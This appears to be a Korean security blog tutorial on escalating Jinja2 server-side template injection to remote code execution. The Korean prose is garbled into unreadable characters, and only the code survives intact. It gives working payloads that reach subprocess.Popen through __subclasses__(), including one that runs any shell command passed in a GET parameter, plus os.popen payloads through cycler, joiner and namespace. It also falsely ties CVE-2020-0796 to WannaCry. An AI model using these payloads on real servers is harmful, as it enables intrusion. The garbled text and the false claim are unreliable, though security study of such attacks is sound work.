SSTI(Server Side Template Injection)์ ํตํ ์ฌ๋ฌ ๊ณต๊ฒฉ ๊ฐ๋ ์ค ํ๋๋ฅผ ์์๋ณผ๊น ํฉ๋๋ค.
์ฐ์ , SSTI๊ฐ ์์ํ๋ค๋ฉด ์ด์ ํฌ์คํ ์ ๋ณด๊ณ ์ค์๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.
2023.09.12 - [web hacking/techniques] - SSTI ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต
SSTI ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต
SSTI(Server Side Template Injection)์ทจ์ฝ์ ๊ณต๊ฒฉ ์ฝ๋๊ฐ ์น ํ ํ๋ฆฟ์ ํฌํจ๋ ์ํ์์ ์๋ฒ ์ธก์์ ํ ํ๋ฆฟ ์ธ์ ์ ์ด ๋ฐํ๋๋ ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค. ์์, ํ ํ๋ฆฟ ์์ง์ ๋ํ ์ด์ผ๊ธฐ๋ฅผ ํด๋ด ์๋ค. ์น ํ ํ
kortsec1n4mationm.tistory.com
RCE(Remote Code Execution)์ด๋, ์ธ๊ฐ๋ฐ์ง ์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ์ฝ๋๋ฅผ ์๋ฒ์์ ์๊ฒฉ์ผ๋ก ์คํ์ํค๋ ๊ณต๊ฒฉ์ ๋๋ค.
๋ํ์ ์ธ ์๋ก๋ ์๋ SMBv3 ์ทจ์ฝ์ (CVE-2020-0796)์ด ์๋๋ฐ, ํด๋น ์ทจ์ฝ์ ์ ๊ฒฝ์ฐ 2017๋ 'Wannacry' ๋์ฌ์จ์ด ๋ฐฐํฌ์ ๊น์ ๊ด๋ จ์ด ์์์ต๋๋ค.
์ด๋ฒ ํฌ์คํ ์์๋ SSTI ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์๊ฒฉ์ผ๋ก ์์ ์คํ์ํค๊ณ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ์๋ณด๋ ์ค์ต์ ์งํํด ๋ณผ๊ฒ์ ๋๋ค.
๋ํ ์ผํ ๊ณต๊ฒฉ ๊ณผ์ ์ ๊ฑฐ์น๊ณ , ์ด๋ฅผ ๋ฐฉ์ดํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ดํด๋ณด๋๋ก ํฉ์๋ค.
์ธ๋ถ ๊ณต๊ฒฉ ๊ณผ์
subprocess.Popenํธ์ถ๊ณผ ํจ๊ป ์ธ๋ถ ๊ณต๊ฒฉ ์ฝ๋์ ๊ดํด ์์ธํ ๋ณด๊ฒ ์ต๋๋ค.
์ ๋ฒ ํฌ์คํ ์ ์ด์ด์ {{ ''.__class__.__mro__[1].__subclasses__() }} ๋ฅผ ํตํด ์ฌ์ฉํ ํด๋์ค๋ค์ ํ์ํด ๋ด ์๋ค.
subprocess๋ ์๋ก์ด ํ๋ก์ธ์ค๋ฅผ ์์ฑ ๋ฐ ์ ๋ ฅ/์ถ๋ ฅ/์๋ฌ ํ์ดํ์ ์ฐ๊ฒฐ ๊ฐ๋ฅํ๊ฒ ํด์ค๋๋ค.
ํด๋น ๋ชจ๋์ ํ๋ถ ํ๋ก์ธ์ค ์์ฑ๊ณผ ์ฒ๋ฆฌ๋ฅผ ๋ด๋นํ๋ Popen์ ํธ์ถํ์ฌ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๋ช ๋ น์ ์คํ ์ํฌ ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ ์๋ ๋งํฌ๋ฅผ ํ์ธํด ๋ณด์๊ธธ ๋ฐ๋๋๋ค.
https://docs.python.org/ko/3/library/subprocess.html
subprocess — Subprocess management
Source code: Lib/subprocess.py The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes. This module intends to replace seve...
docs.python.org
์ ์ ๊ฒฝ์ฐ์๋ 426๋ฒ index์ ํด๋์ค๊ฐ ์กด์ฌํฉ๋๋ค.
{{''.__class__.__mro__[1].__subclasses__()[426]('ls')}}
์ฐ์ , Popen('ls')์ ๊ฒฐ๊ณผ๋ฅผ ํ๋ฒ ์ดํด๋ณผ๊น์?
img_2์์ ๋ณผ ์ ์๋ฏ์ด ์ํ๋ ๊ฒฐ๊ณผ๋ ๋์ค์ง ์์ต๋๋ค.
ํ์ง๋ง, ์๋ฒ ํ์ธ์ ํด๋ณด๋ ์ ๋ช ๋ น์ด ์๋ฒ ์ชฝ์์ ์คํ๋์์์ ์ ์ ์์ต๋๋ค.
return ๊ฐ์ผ๋ก ๊ฒฐ๊ณผ๋ฅผ ๋ฐ์๋ณด๊ธฐ ์ํด์ communicate ๋งค์๋๋ฅผ ํ์ฉํ๋ฉด ๊ฐ๋ฅํฉ๋๋ค.
{{''.__class__.__mro__[1].__subclasses__()[426]('ls').communicate()}}
์๋ img_3๊ณผ ๊ฐ์ด communicate ๋งค์๋๋ ํํ (stdout_data, stderr_data)๋ฅผ ๋ฐํํฉ๋๋ค.
์ด์ด์ Popen์ ์ธ์์ stdout=-1๋ฅผ ์ถ๊ฐํด ์ค ์ผ๋ก์, ๊ฒฐ๊ณผ๊ฐ์ ๋ฐ์๋ณผ ์ ์์ต๋๋ค.
{{''.__class__.__mro__[1].__subclasses__()[426]('ls',stdout=-1).communicate()}}
stdout=-1์์ ๊ฐ, -1์ ๋จ์ง PIPE๋ฅผ ์๋ฏธํ๋ ๊ฐ์ ๋๋ค. ์๋ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
https://github.com/python/cpython/blob/3.10/Lib/subprocess.py#L259
์์๊ฐ์ด ์ฑ๊ณต์ ์ผ๋ก ์ ๊ฒฐ๊ณผ๊ฐ์ ๋ฐ์ ๋ณผ ์ ์์ต๋๋ค.
์ถ๊ฐ๋ก Shell=True๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ์ง์ ๋ ๋ช ๋ น์ด shell์ ํตํด ์คํ๋๊ฒ ๋ฉ๋๋ค.
{{''.__class__.__mro__[1].__subclasses__()[426](request.args.get('shell'),stdout=-1,shell=True).communicate()}}
์ฌ๊ธฐ์ get ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ ์์ ์์ฌ๋ก shell ๋ช ๋ น์ ์ด์ฉํ ์๋ ์์ต๋๋ค.
subprocess.Popen ๋ง๊ณ ๋ ๋ค์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํตํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํฉ๋๋ค. ์๋๋ ๊ทธ ์์์ ๋๋ค.
# warnings.catch_warnings
{{ ''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('ls').read() }}
# cycler, joiner, namespace
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
{{ joiner.__init__.__globals__.os.popen('ls').read() }}
{{ namespace.__init__.__globals__.os.popen('ls').read() }}
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HTTP Request Smuggling ์ทจ์ฝ์ (0) | 2024.12.08 |
---|---|
Race Condition (0) | 2024.04.05 |
SSTI ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต (1) | 2023.09.12 |
sql-injection ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต (1) | 2023.08.14 |